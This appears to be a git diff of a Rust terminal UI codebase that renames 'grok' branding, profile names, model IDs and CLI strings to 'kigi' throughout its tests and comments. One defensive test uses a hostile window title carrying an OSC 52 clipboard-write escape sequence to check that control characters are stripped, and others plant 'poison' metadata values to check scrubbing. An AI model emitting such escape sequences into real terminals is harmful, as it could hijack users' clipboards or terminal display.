@@ -1130,7 +1130,7 @@ fn agent_profile_names_are_valid_builtins() {
                 ask_user: true,
                 ..Default::default()
             },
-            "grok-build-ask-user",
+            "kigi-ask-user",
         ),
         (
             SessionFlags {
@@ -1139,7 +1139,7 @@ fn agent_profile_names_are_valid_builtins() {
                 ask_user: true,
                 ..Default::default()
             },
-            "grok-build-ask-user",
+            "kigi-ask-user",
         ),
     ];
     for (flags, expected_name) in test_cases {
@@ -1156,13 +1156,13 @@ fn agent_profile_names_are_valid_builtins() {
         );
     }
 }
-/// Default flags produce no agent profile (uses grok-build default).
+/// Default flags produce no agent profile (uses kigi default).
 #[test]
 fn default_flags_produce_no_profile() {
     let flags = SessionFlags::default();
     assert_eq!(flags.agent_profile(), None);
 }
-/// --subagents alone produces no profile (grok-build already has TaskTool).
+/// --subagents alone produces no profile (kigi already has TaskTool).
 #[test]
 fn subagents_without_plan_produces_no_profile() {
     let flags = SessionFlags {
@@ -1178,7 +1178,7 @@ fn subagents_without_plan_produces_no_profile() {
 /// escape hatch and drops `agentProfile` — the tests would then assert the
 /// wrong branch. Empty string counts as unset (`!s.trim().is_empty()`).
 /// Callers must be `#[serial_test::serial(KIGI_AGENT)]` (process-global env).
-fn without_grok_agent() -> crate::test_util::EnvVarGuard {
+fn without_kigi_agent() -> crate::test_util::EnvVarGuard {
     crate::test_util::EnvVarGuard::set("KIGI_AGENT", "")
 }
 /// At the runtime defaults (every `--no-*` flag false → every
@@ -1187,7 +1187,7 @@ fn without_grok_agent() -> crate::test_util::EnvVarGuard {
 #[serial_test::serial(KIGI_AGENT)]
 #[test]
 fn runtime_default_flags_produce_plan_meta() {
-    let _env = without_grok_agent();
+    let _env = without_kigi_agent();
     let flags = SessionFlags {
         plan_mode: true,
         subagents: true,
@@ -1195,7 +1195,7 @@ fn runtime_default_flags_produce_plan_meta() {
         ..Default::default()
     };
     let meta = flags.to_meta().unwrap();
-    assert_eq!(meta["agentProfile"], "grok-build-plan");
+    assert_eq!(meta["agentProfile"], "kigi-plan");
     assert!(meta.get("askUserQuestion").is_none());
     assert_eq!(meta["yoloMode"], false);
 }
@@ -1204,7 +1204,7 @@ fn runtime_default_flags_produce_plan_meta() {
 #[serial_test::serial(KIGI_AGENT)]
 #[test]
 fn plan_only_meta() {
-    let _env = without_grok_agent();
+    let _env = without_kigi_agent();
     let flags = SessionFlags {
         plan_mode: true,
         subagents: false,
@@ -1212,7 +1212,7 @@ fn plan_only_meta() {
         ..Default::default()
     };
     let meta = flags.to_meta().unwrap();
-    assert_eq!(meta["agentProfile"], "grok-build-plan-no-subagents");
+    assert_eq!(meta["agentProfile"], "kigi-plan-no-subagents");
     assert_eq!(meta["askUserQuestion"], false);
     assert_eq!(meta["yoloMode"], false);
 }
@@ -1220,7 +1220,7 @@ fn plan_only_meta() {
 #[serial_test::serial(KIGI_AGENT)]
 #[test]
 fn plan_with_subagents_meta() {
-    let _env = without_grok_agent();
+    let _env = without_kigi_agent();
     let flags = SessionFlags {
         plan_mode: true,
         subagents: true,
@@ -1228,15 +1228,15 @@ fn plan_with_subagents_meta() {
         ..Default::default()
     };
     let meta = flags.to_meta().unwrap();
-    assert_eq!(meta["agentProfile"], "grok-build-plan");
+    assert_eq!(meta["agentProfile"], "kigi-plan");
     assert_eq!(meta["askUserQuestion"], false);
     assert_eq!(meta["yoloMode"], false);
 }
-/// --ask-user alone selects the grok-build-ask-user profile.
+/// --ask-user alone selects the kigi-ask-user profile.
 #[serial_test::serial(KIGI_AGENT)]
 #[test]
 fn ask_user_alone_meta() {
-    let _env = without_grok_agent();
+    let _env = without_kigi_agent();
     let flags = SessionFlags {
         plan_mode: false,
         subagents: false,
@@ -1244,7 +1244,7 @@ fn ask_user_alone_meta() {
         ..Default::default()
     };
     let meta = flags.to_meta().unwrap();
-    assert_eq!(meta["agentProfile"], "grok-build-ask-user");
+    assert_eq!(meta["agentProfile"], "kigi-ask-user");
     assert!(meta.get("askUserQuestion").is_none());
     assert_eq!(meta["yoloMode"], false);
 }
@@ -1252,7 +1252,7 @@ fn ask_user_alone_meta() {
 #[serial_test::serial(KIGI_AGENT)]
 #[test]
 fn plan_with_ask_user_uses_plan_profile() {
-    let _env = without_grok_agent();
+    let _env = without_kigi_agent();
     let flags = SessionFlags {
         plan_mode: true,
         subagents: false,
@@ -1260,14 +1260,14 @@ fn plan_with_ask_user_uses_plan_profile() {
         ..Default::default()
     };
     let meta = flags.to_meta().unwrap();
-    assert_eq!(meta["agentProfile"], "grok-build-plan-no-subagents");
+    assert_eq!(meta["agentProfile"], "kigi-plan-no-subagents");
     assert!(meta.get("askUserQuestion").is_none());
     assert_eq!(meta["yoloMode"], false);
 }
 /// --no-plan --no-subagents --no-ask-user picks the default profile but
 /// must still emit `askUserQuestion: false` so the shell can strip the
 /// tool at the builder. Mirrors the runtime: `subagents` toggle alone
-/// does not need an `agentProfile` (default `grok-build` already has it).
+/// does not need an `agentProfile` (default `kigi` already has it).
 #[test]
 fn subagents_alone_emits_only_ask_user_question_disable() {
     let flags = SessionFlags {
@@ -1280,12 +1280,12 @@ fn subagents_alone_emits_only_ask_user_question_disable() {
     assert!(meta.get("agentProfile").is_none());
     assert_eq!(meta["askUserQuestion"], false);
 }
-/// All three flags on at the runtime default produce grok-build-plan
+/// All three flags on at the runtime default produce kigi-plan
 /// and no `askUserQuestion` field.
 #[serial_test::serial(KIGI_AGENT)]
 #[test]
 fn all_flags_meta() {
-    let _env = without_grok_agent();
+    let _env = without_kigi_agent();
     let flags = SessionFlags {
         plan_mode: true,
         subagents: true,
@@ -1293,7 +1293,7 @@ fn all_flags_meta() {
         ..Default::default()
     };
     let meta = flags.to_meta().unwrap();
-    assert_eq!(meta["agentProfile"], "grok-build-plan");
+    assert_eq!(meta["agentProfile"], "kigi-plan");
     assert!(meta.get("askUserQuestion").is_none());
     assert_eq!(meta["yoloMode"], false);
 }
@@ -1388,7 +1388,7 @@ fn to_meta_chat_mode_stamps_kind_and_omits_agent_profile() {
         ..Default::default()
     };
     let meta = flags.to_meta().expect("chat_mode must emit meta");
-    assert_eq!(meta["x.ai/session"] ["kind"], "chat");
+    assert_eq!(meta["kigi/session"] ["kind"], "chat");
     assert!(
         meta.get("agentProfile").is_none(), "K12: chat mode must omit Build agentProfile"
     );
@@ -1414,7 +1414,7 @@ fn load_meta_chat_kind_alone_stamps_kind_and_strips_profile() {
         scrub_chat_workspace_bind_meta(&mut meta);
     }
     let meta = meta.expect("chat_kind must produce meta");
-    assert_eq!(meta["x.ai/session"] ["kind"], "chat");
+    assert_eq!(meta["kigi/session"] ["kind"], "chat");
     assert!(
         meta.get("agentProfile").is_none(),
         "entry chat_kind must strip Build agentProfile"
@@ -1444,7 +1444,7 @@ fn chat_create_meta_never_includes_workspace_bind_keys_when_cloud_fields_set() {
     apply_chat_kind_meta(&mut meta);
     scrub_chat_workspace_bind_meta(&mut meta);
     let meta = meta.expect("chat create must emit meta");
-    assert_eq!(meta["x.ai/session"] ["kind"], "chat");
+    assert_eq!(meta["kigi/session"] ["kind"], "chat");
     assert_chat_meta_has_no_workspace_bind_keys(
         &serde_json::Value::Object(meta.clone()),
     );
@@ -1457,15 +1457,15 @@ fn chat_load_meta_never_includes_workspace_bind_keys() {
     {
         let obj = meta.get_or_insert_with(acp::Meta::new);
         obj.insert("envId".into(), serde_json::json!("env-poison"));
-        obj.insert("x.ai/cloud_server_id".into(), serde_json::json!("srv-poison"));
+        obj.insert("kigi/cloud_server_id".into(), serde_json::json!("srv-poison"));
         obj.insert(
-            "x.ai/cloud_existing_workspace".into(),
+            "kigi/cloud_existing_workspace".into(),
             serde_json::json!({ "server_id" : "srv-poison", "cwd" : "/ws", }),
         );
     }
     scrub_chat_workspace_bind_meta(&mut meta);
     let meta = meta.expect("chat load must emit meta");
-    assert_eq!(meta["x.ai/session"] ["kind"], "chat");
+    assert_eq!(meta["kigi/session"] ["kind"], "chat");
     assert_chat_meta_has_no_workspace_bind_keys(
         &serde_json::Value::Object(meta.clone()),
     );
@@ -1491,9 +1491,9 @@ fn agent_profile_definitions_have_correct_names() {
     use std::str::FromStr;
     use kigi_agent::config::BuiltinAgentName;
     for name in [
-        "grok-build-plan",
-        "grok-build-plan-no-subagents",
-        "grok-build-ask-user",
+        "kigi-plan",
+        "kigi-plan-no-subagents",
+        "kigi-ask-user",
     ] {
         let builtin = BuiltinAgentName::from_str(name).unwrap();
         let def = builtin.definition();
@@ -1542,23 +1542,23 @@ fn format_session_info_shows_conversation_id_when_present() {
 }
 #[test]
 fn format_session_info_shows_resolved_when_enabled_and_different() {
-    let info = make_session_info("grok-4.5", Some("grok-4.3"), 1000, 10000);
+    let info = make_session_info("kigi-4.5", Some("kigi-4.3"), 1000, 10000);
     let text = format_session_info(&info, None, true);
-    assert!(text.contains("Model: grok-4.5 (grok-4.3)"));
+    assert!(text.contains("Model: kigi-4.5 (kigi-4.3)"));
 }
 #[test]
 fn format_session_info_hides_resolved_when_disabled() {
-    let info = make_session_info("grok-4.5", Some("grok-4.3"), 1000, 10000);
+    let info = make_session_info("kigi-4.5", Some("kigi-4.3"), 1000, 10000);
     let text = format_session_info(&info, None, false);
-    assert!(text.contains("Model: grok-4.5"));
-    assert!(! text.contains("grok-4.3"));
+    assert!(text.contains("Model: kigi-4.5"));
+    assert!(! text.contains("kigi-4.3"));
 }
 #[test]
 fn format_session_info_no_parens_when_resolved_matches_requested() {
-    let info = make_session_info("grok-4.5", Some("grok-4.5"), 1000, 10000);
+    let info = make_session_info("kigi-4.5", Some("kigi-4.5"), 1000, 10000);
     let text = format_session_info(&info, None, true);
-    assert!(text.contains("Model: grok-4.5"));
-    assert!(! text.contains("(grok-4.5)"));
+    assert!(text.contains("Model: kigi-4.5"));
+    assert!(! text.contains("(kigi-4.5)"));
 }
 #[test]
 fn format_session_info_shows_model_hash_when_catalog_flag_set() {
@@ -1647,7 +1647,7 @@ fn session_picker_entry_maps_to_dormant_roster_row() {
         cwd: "/repo/app".to_string(),
         hostname: Some("box".to_string()),
         source: "local".to_string(),
-        model_id: Some("grok-4".to_string()),
+        model_id: Some("kigi-4".to_string()),
         num_messages: 3,
         last_active_at: Some(updated),
         branch: None,
@@ -1660,7 +1660,7 @@ fn session_picker_entry_maps_to_dormant_roster_row() {
     assert_eq!(roster.title.as_deref(), Some("Wire up dashboard"));
     assert_eq!(roster.cwd, "/repo/app");
     assert!(roster.is_worktree, "worktree_label present → is_worktree");
-    assert_eq!(roster.model_id.as_deref(), Some("grok-4"));
+    assert_eq!(roster.model_id.as_deref(), Some("kigi-4"));
     assert_eq!(roster.activity, RosterActivity::Dormant);
     assert!(! roster.resident);
     assert_eq!(roster.last_change_unix_ms, updated.timestamp_millis());
diff --git a/crates/codegen/kigi-tui/src/app/event_loop.rs b/crates/codegen/kigi-tui/src/app/event_loop.rs
index 47d624e..2242d45 100644
--- a/crates/codegen/kigi-tui/src/app/event_loop.rs
+++ b/crates/codegen/kigi-tui/src/app/event_loop.rs
@@ -72,7 +72,7 @@ struct ReinitOutcome {
 struct AgentLoadOutcome {
     agent_id: super::agent::AgentId,
     success: bool,
-    /// `x.ai/runningPromptId` from the reload response: the turn another
+    /// `kigi/runningPromptId` from the reload response: the turn another
     /// client is driving mid-reconnect, adopted at finalize (mirrors the
     /// `SessionLoaded` adoption in `dispatch.rs`).
     running_prompt_id: Option<String>,
@@ -635,12 +635,12 @@ pub(crate) async fn run(
                 crate::acp::AuthStartMode::Command => super::app_view::AuthMode::Command,
             };
         } else {
-            // --force-login: find the grok.com method from the advertised list
-            let grok_com = connection
+            // --force-login: find the kimi.com method from the advertised list
+            let kigi_com = connection
                 .auth_methods
                 .iter()
-                .find(|m| m.id().0.as_ref() == "grok.com");
-            if let Some(method) = grok_com {
+                .find(|m| m.id().0.as_ref() == "kimi-code");
+            if let Some(method) = kigi_com {
                 app.login_label = Some(method.name().to_string());
                 app.login_method_id = Some(method.id().clone());
                 let is_provider = method
@@ -655,7 +655,7 @@ pub(crate) async fn run(
                     super::app_view::AuthMode::Pending
                 };
             } else {
-                // No grok.com method available, use the first method as fallback
+                // No kimi.com method available, use the first method as fallback
                 let first = &connection.auth_methods[0];
                 app.login_label = Some(first.name().to_string());
                 app.login_method_id = Some(first.id().clone());
@@ -667,7 +667,7 @@ pub(crate) async fn run(
         // by reusing dispatch_login. Effects are stashed and drained after
         // the initial render so the user sees the auth UI right away.
         // Empty auth_methods (preferred_method pin with no credentials) is
-        // fail-closed: do not invent grok.com / auto-start OIDC.
+        // fail-closed: do not invent kimi.com / auto-start OIDC.
         tracing::info!(
             method_id = ?app.login_method_id,
             methods_empty = connection.auth_methods.is_empty(),
@@ -1243,7 +1243,7 @@ pub(crate) async fn run(
         }
     }
 
-    // `grok dashboard` startup: open the dashboard view immediately. The
+    // `kigi dashboard` startup: open the dashboard view immediately. The
     // CLI subcommand wrote a `KIGI_OPEN_DASHBOARD_AT_STARTUP=1` env var
     // so we don't have to thread a flag through every arg struct.
     if std::env::var("KIGI_OPEN_DASHBOARD_AT_STARTUP").as_deref() == Ok("1") {
diff --git a/crates/codegen/kigi-tui/src/app/foreign_sessions.rs b/crates/codegen/kigi-tui/src/app/foreign_sessions.rs
index 2a3c186..028cd58 100644
--- a/crates/codegen/kigi-tui/src/app/foreign_sessions.rs
+++ b/crates/codegen/kigi-tui/src/app/foreign_sessions.rs
@@ -564,7 +564,7 @@ mod tests {
         let probed = RefCell::new(Vec::new());
         let enabled = gated_sources_async_with(
             EnabledForeignSessionSources::default(),
-            Path::new("/grok"),
+            Path::new("/kigi"),
             |path| {
                 probed.borrow_mut().push(path.to_path_buf());
                 std::future::ready(true)
@@ -585,7 +585,7 @@ mod tests {
                 codex: true,
                 ..Default::default()
             },
-            Path::new("/grok"),
+            Path::new("/kigi"),
             |path| {
                 probed.borrow_mut().push(path.to_path_buf());
                 std::future::ready(false)
@@ -609,7 +609,7 @@ mod tests {
 
     #[tokio::test]
     async fn async_gate_supports_bundled_and_user_skill_locations() {
-        let enabled = gated_sources_async_with(compat_all(), Path::new("/grok"), |path| {
+        let enabled = gated_sources_async_with(compat_all(), Path::new("/kigi"), |path| {
             let path = path.to_string_lossy();
             std::future::ready(
                 path.contains("bundled/skills/resume-claude")
diff --git a/crates/codegen/kigi-tui/src/app/leader_cluster/mod.rs b/crates/codegen/kigi-tui/src/app/leader_cluster/mod.rs
index 9e36be4..fad0e79 100644
--- a/crates/codegen/kigi-tui/src/app/leader_cluster/mod.rs
+++ b/crates/codegen/kigi-tui/src/app/leader_cluster/mod.rs
@@ -75,7 +75,7 @@ async fn bounded<T>(what: &str, fut: impl std::future::Future<Output = T>) -> T
         .unwrap_or_else(|_| panic!("leader-cluster bring-up timed out: {what}"))
 }
 
-/// The grok home the agent actually persisted under: `kigi_home()` is
+/// The kigi home the agent actually persisted under: `kigi_home()` is
 /// process-cached, so an earlier test in this binary may have pinned it.
 fn effective_kigi_home() -> PathBuf {
     kigi_config::kigi_home()
diff --git a/crates/codegen/kigi-tui/src/app/mermaid_worker.rs b/crates/codegen/kigi-tui/src/app/mermaid_worker.rs
index 5cfd822..6aca37a 100644
--- a/crates/codegen/kigi-tui/src/app/mermaid_worker.rs
+++ b/crates/codegen/kigi-tui/src/app/mermaid_worker.rs
@@ -1233,7 +1233,7 @@ mod tests {
     fn key(source: &str) -> MermaidCacheKey {
         MermaidCacheKey::derive(
             source,
-            ThemeKind::GrokNight,
+            ThemeKind::KigiNight,
             80,
             MermaidRenderQuality::Terminal,
         )
@@ -1768,22 +1768,22 @@ mod tests {
     fn is_render_subcommand_matches_only_argv1() {
         let argv = |v: &[&str]| v.iter().map(std::ffi::OsString::from).collect::<Vec<_>>();
         assert!(is_render_subcommand(&argv(&[
-            "grok",
+            "kigi",
             MERMAID_RENDER_SUBCOMMAND
         ])));
         assert!(is_render_subcommand(&argv(&[
-            "grok",
+            "kigi",
             MERMAID_RENDER_SUBCOMMAND,
             "--out",
             "/tmp/x.png",
         ])));
         // Normal invocations are not the render child.
-        assert!(!is_render_subcommand(&argv(&["grok"])));
-        assert!(!is_render_subcommand(&argv(&["grok", "chat"])));
+        assert!(!is_render_subcommand(&argv(&["kigi"])));
+        assert!(!is_render_subcommand(&argv(&["kigi", "chat"])));
         assert!(!is_render_subcommand(&argv(&[])));
         // The subcommand only counts as argv[1], not deeper in the args.
         assert!(!is_render_subcommand(&argv(&[
-            "grok",
+            "kigi",
             "chat",
             MERMAID_RENDER_SUBCOMMAND,
         ])));
@@ -2052,12 +2052,12 @@ mod tests {
         let src = "flowchart LR\nA-->B";
         let dark_key = MermaidCacheKey::derive(
             src,
-            ThemeKind::GrokNight,
+            ThemeKind::KigiNight,
             80,
             MermaidRenderQuality::Terminal,
         );
         let light_key =
-            MermaidCacheKey::derive(src, ThemeKind::GrokDay, 80, MermaidRenderQuality::Terminal);
+            MermaidCacheKey::derive(src, ThemeKind::KigiDay, 80, MermaidRenderQuality::Terminal);
         assert_ne!(
             dark_key.cache_filename(),
             light_key.cache_filename(),
@@ -2116,7 +2116,7 @@ mod tests {
     /// hence the cache key — is deterministic).
     fn agent_with_session(name: &str) -> AgentView {
         use_test_mermaid_dir();
-        let cwd = PathBuf::from("/grok-mermaid-test").join(name);
+        let cwd = PathBuf::from("/kigi-mermaid-test").join(name);
         let mut agent = crate::app::agent_view::test_agent_view(Some(name), cwd);
         agent.last_terminal_size = (100, 40);
         agent
@@ -2301,7 +2301,7 @@ mod tests {
 
         // An on-click render in flight, keyed at the click-time theme + width.
         let click_key =
-            MermaidCacheKey::derive(src, ThemeKind::GrokNight, 80, MermaidRenderQuality::Open);
+            MermaidCacheKey::derive(src, ThemeKind::KigiNight, 80, MermaidRenderQuality::Open);
         let mut rt = MermaidRuntime::new();
         rt.pending.push(PendingMermaidAction {
             key: click_key.clone(),
@@ -2312,7 +2312,7 @@ mod tests {
         // A later (live) theme + width derives a DIFFERENT full key for the same
         // source — full-key matching would no longer find the pending render...
         let live_key =
-            MermaidCacheKey::derive(src, ThemeKind::GrokDay, 240, MermaidRenderQuality::Open);
+            MermaidCacheKey::derive(src, ThemeKind::KigiDay, 240, MermaidRenderQuality::Open);
         assert_ne!(
             click_key, live_key,
             "a theme/width change alters the full cache key",
diff --git a/crates/codegen/kigi-tui/src/app/mod.rs b/crates/codegen/kigi-tui/src/app/mod.rs
index f678826..0f3b91b 100644
--- a/crates/codegen/kigi-tui/src/app/mod.rs
+++ b/crates/codegen/kigi-tui/src/app/mod.rs
@@ -306,7 +306,7 @@ fn resolve_hunk_tracker_mode(
 /// its history). Sessions not found locally are restored from remote storage.
 ///
 /// Returns `Ok(true)` when the user accepted a pending update. The caller
-/// should print a message telling the user to relaunch `grok`.
+/// should print a message telling the user to relaunch `kigi`.
 pub async fn run(
     args: PagerArgs,
     bg_update_rx: Option<
@@ -618,9 +618,9 @@ fn print_exit_resume_hint(session_id: &str, minimal: bool, w: &mut impl Write) {
     let _ = writeln!(w);
     let _ = writeln!(w, "Resume this session with:");
     if minimal {
-        let _ = writeln!(w, "  grok --minimal --resume {session_id}");
+        let _ = writeln!(w, "  kigi --minimal --resume {session_id}");
     } else {
-        let _ = writeln!(w, "  grok --resume {session_id}");
+        let _ = writeln!(w, "  kigi --resume {session_id}");
     }
 }
 /// Screen-mode relaunch failure fallback (same quit tail as plain resume).
@@ -1169,16 +1169,16 @@ pub(crate) fn set_terminal_title(title: &str) {
 }
 /// Sanitized/truncated window title. Strips control characters: crossterm's
 /// `SetTitle` emits the string raw inside an OSC sequence, so an embedded
-/// BEL/ESC (titles can arrive from grok.com conversation metadata) would
+/// BEL/ESC (titles can arrive from kimi.com conversation metadata) would
 /// terminate the OSC early and let the remainder inject arbitrary escape
 /// sequences into the terminal.
 fn terminal_title_string(title: &str) -> String {
     let sanitized: String = title.chars().filter(|c| !c.is_control()).collect();
     if sanitized.is_empty() {
-        "grok".into()
+        "kigi".into()
     } else {
         let truncated: String = sanitized.chars().take(80 - 6).collect();
-        format!("{} - grok", truncated)
+        format!("{} - kigi", truncated)
     }
 }
 fn set_panic_hook(mode: ScreenMode) {
@@ -1221,11 +1221,11 @@ mod tests {
     fn terminal_title_strips_control_characters() {
         assert_eq!(
             terminal_title_string("evil\x07\x1b]52;c;payload\x07title"),
-            "evil]52;c;payloadtitle - grok"
+            "evil]52;c;payloadtitle - kigi"
         );
-        assert_eq!(terminal_title_string("\x07\x1b\x00"), "grok");
-        assert_eq!(terminal_title_string(""), "grok");
-        assert_eq!(terminal_title_string("My chat"), "My chat - grok");
+        assert_eq!(terminal_title_string("\x07\x1b\x00"), "kigi");
+        assert_eq!(terminal_title_string(""), "kigi");
+        assert_eq!(terminal_title_string("My chat"), "My chat - kigi");
     }
     #[test]
     fn hunk_tracker_mode_nothing_set_is_none() {
@@ -1316,24 +1316,24 @@ mod tests {
     }
     #[test]
     fn cli_leader_and_no_leader_conflict() {
-        let result = try_parse_pager(&["grok-pager", "--leader", "--no-leader"]);
+        let result = try_parse_pager(&["kigi-pager", "--leader", "--no-leader"]);
         assert!(result.is_err());
     }
     #[test]
     fn cli_leader_flag_parses() {
-        let args = try_parse_pager(&["grok-pager", "--leader"]).unwrap();
+        let args = try_parse_pager(&["kigi-pager", "--leader"]).unwrap();
         assert!(args.leader);
         assert!(!args.no_leader);
     }
     #[test]
     fn cli_no_leader_flag_parses() {
-        let args = try_parse_pager(&["grok-pager", "--no-leader"]).unwrap();
+        let args = try_parse_pager(&["kigi-pager", "--no-leader"]).unwrap();
         assert!(!args.leader);
         assert!(args.no_leader);
     }
     #[test]
     fn cli_neither_leader_flag_defaults_false() {
-        let args = try_parse_pager(&["grok-pager"]).unwrap();
+        let args = try_parse_pager(&["kigi-pager"]).unwrap();
         assert!(!args.leader);
         assert!(!args.no_leader);
     }
@@ -1348,13 +1348,13 @@ mod tests {
     /// main() must reject the combination at runtime.
     #[test]
     fn cli_top_level_leader_with_agent_subcommand_parses_flag() {
-        let args = try_parse_pager(&["grok-pager", "--leader", "agent", "stdio"]).unwrap();
+        let args = try_parse_pager(&["kigi-pager", "--leader", "agent", "stdio"]).unwrap();
         assert!(args.leader);
         assert!(matches!(args.command, Some(Command::Agent(_))));
     }
     #[test]
     fn cli_top_level_no_leader_with_agent_subcommand_parses_flag() {
-        let args = try_parse_pager(&["grok-pager", "--no-leader", "agent", "stdio"]).unwrap();
+        let args = try_parse_pager(&["kigi-pager", "--no-leader", "agent", "stdio"]).unwrap();
         assert!(args.no_leader);
         assert!(matches!(args.command, Some(Command::Agent(_))));
     }
@@ -1362,7 +1362,7 @@ mod tests {
     /// (kimi-cli parity, F6 — the `acp` alias relies on the same default).
     #[test]
     fn cli_bare_agent_subcommand_defaults_to_stdio() {
-        let args = try_parse_pager(&["grok-pager", "agent"]).unwrap();
+        let args = try_parse_pager(&["kigi-pager", "agent"]).unwrap();
         let Some(Command::Agent(agent)) = args.command else {
             panic!("expected agent subcommand");
         };
@@ -1376,73 +1376,73 @@ mod tests {
     }
     #[test]
     fn cli_resume_parses_session_id() {
-        let args = try_parse_pager(&["grok-pager", "--resume", "abc-123"]).unwrap();
+        let args = try_parse_pager(&["kigi-pager", "--resume", "abc-123"]).unwrap();
         assert_eq!(args.session_to_resume(), Some("abc-123"));
     }
     #[test]
     fn cli_short_r_parses_session_id() {
-        let args = try_parse_pager(&["grok-pager", "-r", "abc-123"]).unwrap();
+        let args = try_parse_pager(&["kigi-pager", "-r", "abc-123"]).unwrap();
         assert_eq!(args.session_to_resume(), Some("abc-123"));
     }
     #[test]
     fn cli_load_alias_parses_session_id() {
-        let args = try_parse_pager(&["grok-pager", "--load", "abc-123"]).unwrap();
+        let args = try_parse_pager(&["kigi-pager", "--load", "abc-123"]).unwrap();
         assert_eq!(args.session_to_resume(), Some("abc-123"));
     }
     #[test]
     fn cli_resume_preferred_over_load() {
-        let mut args = try_parse_pager(&["grok-pager", "--resume", "from-resume"]).unwrap();
+        let mut args = try_parse_pager(&["kigi-pager", "--resume", "from-resume"]).unwrap();
         args.load_session = Some("from-load".into());
         assert_eq!(args.session_to_resume(), Some("from-resume"));
     }
     #[test]
     fn cli_continue_flag_parses() {
-        let args = try_parse_pager(&["grok-pager", "--continue"]).unwrap();
+        let args = try_parse_pager(&["kigi-pager", "--continue"]).unwrap();
         assert!(args.continue_last_session);
         assert_eq!(args.session_to_resume(), None);
     }
     #[test]
     fn cli_continue_short_c_parses() {
-        let args = try_parse_pager(&["grok-pager", "-c"]).unwrap();
+        let args = try_parse_pager(&["kigi-pager", "-c"]).unwrap();
         assert!(args.continue_last_session);
     }
     #[test]
     fn cli_resume_no_id_sets_empty_sentinel() {
-        let args = try_parse_pager(&["grok-pager", "--resume"]).unwrap();
+        let args = try_parse_pager(&["kigi-pager", "--resume"]).unwrap();
         assert_eq!(args.resume_session.as_deref(), Some(""));
         assert!(args.resume_most_recent());
         assert_eq!(args.session_to_resume(), None);
     }
     #[test]
     fn cli_short_r_no_id_sets_empty_sentinel() {
-        let args = try_parse_pager(&["grok-pager", "-r"]).unwrap();
+        let args = try_parse_pager(&["kigi-pager", "-r"]).unwrap();
         assert_eq!(args.resume_session.as_deref(), Some(""));
         assert!(args.resume_most_recent());
     }
     #[test]
     fn cli_resume_with_id_is_not_most_recent() {
-        let args = try_parse_pager(&["grok-pager", "--resume", "abc-123"]).unwrap();
+        let args = try_parse_pager(&["kigi-pager", "--resume", "abc-123"]).unwrap();
         assert!(!args.resume_most_recent());
         assert_eq!(args.session_to_resume(), Some("abc-123"));
     }
     #[test]
     fn cli_no_resume_is_not_most_recent() {
-        let args = try_parse_pager(&["grok-pager"]).unwrap();
+        let args = try_parse_pager(&["kigi-pager"]).unwrap();
         assert!(!args.resume_most_recent());
     }
     #[test]
     fn cli_continue_conflicts_with_resume() {
-        let result = try_parse_pager(&["grok-pager", "--continue", "--resume", "abc"]);
+        let result = try_parse_pager(&["kigi-pager", "--continue", "--resume", "abc"]);
         assert!(result.is_err());
     }
     #[test]
     fn cli_continue_conflicts_with_load() {
-        let result = try_parse_pager(&["grok-pager", "--continue", "--load", "abc"]);
+        let result = try_parse_pager(&["kigi-pager", "--continue", "--load", "abc"]);
         assert!(result.is_err());
     }
     #[test]
     fn cli_no_session_flags_defaults() {
-        let args = try_parse_pager(&["grok-pager"]).unwrap();
+        let args = try_parse_pager(&["kigi-pager"]).unwrap();
         assert!(!args.continue_last_session);
         assert!(args.worktree.is_none());
         assert_eq!(args.session_to_resume(), None);
@@ -1452,7 +1452,7 @@ mod tests {
     /// binary given that flag fails clap parsing instead of silently ignoring.
     #[test]
     fn cli_chat_flag_rejected_without_feature() {
-        assert!(try_parse_pager(&["grok-pager", "--chat"]).is_err());
+        assert!(try_parse_pager(&["kigi-pager", "--chat"]).is_err());
     }
     #[test]
     fn chat_mode_leader_guard_truth_table() {
@@ -1469,49 +1469,49 @@ mod tests {
     }
     #[test]
     fn cli_worktree_flag_parses() {
-        let args = try_parse_pager(&["grok-pager", "--worktree"]).unwrap();
+        let args = try_parse_pager(&["kigi-pager", "--worktree"]).unwrap();
         assert_eq!(args.worktree.as_deref(), Some(""));
     }
     #[test]
     fn cli_worktree_short_w_parses() {
-        let args = try_parse_pager(&["grok-pager", "-w"]).unwrap();
+        let args = try_parse_pager(&["kigi-pager", "-w"]).unwrap();
         assert_eq!(args.worktree.as_deref(), Some(""));
     }
     #[test]
     fn cli_worktree_with_label() {
-        let args = try_parse_pager(&["grok-pager", "-w", "my-label"]).unwrap();
+        let args = try_parse_pager(&["kigi-pager", "-w", "my-label"]).unwrap();
         assert_eq!(args.worktree.as_deref(), Some("my-label"));
     }
     #[test]
     fn cli_worktree_long_with_label() {
-        let args = try_parse_pager(&["grok-pager", "--worktree", "fix-bug"]).unwrap();
+        let args = try_parse_pager(&["kigi-pager", "--worktree", "fix-bug"]).unwrap();
         assert_eq!(args.worktree.as_deref(), Some("fix-bug"));
     }
     #[test]
     fn cli_worktree_with_empty_string() {
-        let args = try_parse_pager(&["grok-pager", "-w", ""]).unwrap();
+        let args = try_parse_pager(&["kigi-pager", "-w", ""]).unwrap();
         assert_eq!(args.worktree.as_deref(), Some(""));
     }
     #[test]
     fn cli_worktree_with_resume_parses() {
-        let args = try_parse_pager(&["grok-pager", "-w", "--resume", "abc"]).unwrap();
+        let args = try_parse_pager(&["kigi-pager", "-w", "--resume", "abc"]).unwrap();
         assert_eq!(args.worktree.as_deref(), Some(""));
         assert_eq!(args.session_to_resume(), Some("abc"));
     }
     #[test]
     fn cli_worktree_label_with_resume() {
-        let args = try_parse_pager(&["grok-pager", "-w", "my-label", "--resume", "abc"]).unwrap();
+        let args = try_parse_pager(&["kigi-pager", "-w", "my-label", "--resume", "abc"]).unwrap();
         assert_eq!(args.worktree.as_deref(), Some("my-label"));
         assert_eq!(args.session_to_resume(), Some("abc"));
     }
     #[test]
     fn cli_worktree_default_none() {
-        let args = try_parse_pager(&["grok-pager"]).unwrap();
+        let args = try_parse_pager(&["kigi-pager"]).unwrap();
         assert!(args.worktree.is_none());
     }
     #[test]
     fn cli_session_id_parses() {
-        let args = try_parse_pager(&["grok-pager", "--session-id", "my-id"]).unwrap();
+        let args = try_parse_pager(&["kigi-pager", "--session-id", "my-id"]).unwrap();
         assert_eq!(args.session_id.as_deref(), Some("my-id"));
         assert!(matches!(
             args.session_startup_intent().unwrap(),
@@ -1520,38 +1520,38 @@ mod tests {
     }
     #[test]
     fn cli_session_id_short_s_parses() {
-        let args = try_parse_pager(&["grok-pager", "-s", "my-id"]).unwrap();
+        let args = try_parse_pager(&["kigi-pager", "-s", "my-id"]).unwrap();
         assert_eq!(args.session_id.as_deref(), Some("my-id"));
     }
     #[test]
